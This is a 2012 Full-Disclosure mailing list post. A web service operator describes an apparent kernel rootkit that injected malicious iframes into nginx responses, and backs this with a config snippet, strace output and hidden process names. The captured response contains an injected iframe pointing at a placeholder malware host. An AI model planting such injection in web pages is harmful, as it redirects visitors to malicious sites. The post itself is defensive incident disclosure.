[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAM_bZ8qgZnE3C-O2-EHzGcTYKP3Rqsf7s8eFfs+VtaCMJO=TFw@mail.gmail.com>
Date: Tue, 13 Nov 2012 10:19:26 +0100
From: stack trace <stacktrace44@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: linux rootkit in combination with nginx
Hi there,
We've discovered something which looks to us like a rootkit working
together with proxy software like nginx. Our OS is debian squeeze and nginx
1.2.3.
Here is what happened:
We are running a web service and we got notified by some customers of us
that they are getting redirected to some malicious sites. Somehow a hacker
managed to inject an iframe into our http responses.
I tried to do a telnet test on our nginx proxy and saw that even the "bad
request" response which gets served directly from nginx contained the
malicious iframe code.
server {
listen 80 default backlog=2048;
listen 443 default backlog=2048 ssl;
server_name _;
access_log off;
(...)
location / {
return 400;
}
}
Doing a bad request nginx doesn't go to cache in this case - the "return
400" makes nginx reply with a predefined response (a string in memory).
Even this response contained an iframe like this:
HTTP/1.1 400 Bad Request
Server: nginx/1.2.3
Date: Wed, 07 Nov 2012 00:01:24 GMT
Content-Type: text/html
Content-Length: 353
Connection: close
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white"><style><iframe src="http://malware-site/index.php
"></iframe></div>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.2.3</center>
We've done an strace on the running nginx process and discovered that the
reply of the process actually didn't contain the malicious iframe.
writev(3, [{"HTTP/1.1 400 Bad Request\r\nServer"..., 151},
{"<html>\r\n<head><title>400 Bad Req"..., 120},
{"<hr><center>nginx/1.2.4</center>"..., 52}], 3) = 323
After a bit deeper digging we've found some kernel rootkit I've attached to
this email and also some hidden processes were running on our proxy machine
with names like write_startup_c and get_http_inj_fr (which sounds like what
happened to us).
Is this a known attack / rootkit etc or did we discover something new?
Cheers,
-stacktrace
Content of type "text/html" skipped
Download attachment "lib+modules+2.6.32-5-amd64+kernel+sound+module_init.lo" of type "application/octet-stream" (689742 bytes)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists